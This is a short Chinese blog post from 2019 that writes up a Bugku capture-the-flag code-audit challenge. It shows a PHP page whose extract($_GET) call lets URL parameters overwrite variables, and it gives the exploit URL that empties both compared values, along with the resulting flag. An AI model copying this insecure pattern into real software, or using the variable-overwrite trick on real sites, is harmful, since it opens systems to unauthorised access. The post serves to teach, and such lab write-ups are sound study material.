代码审计-extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

file_get_contents() 函数把整个文件读入一个字符串中。

extract() 函数从数组中将变量导入到当前的符号表。

 

大概就是将flag变量与shiyan变量一致得到flag

将contents内容为空,flag和shiyan变量为空,满足条件

http://123.206.87.240:9009/1.php?shiyan=&flag=

 

flag{bugku-dmsj-p2sm3N}

posted @ 2019-08-25 16:56  高诺琪  阅读(1404)  评论(0编辑  收藏  举报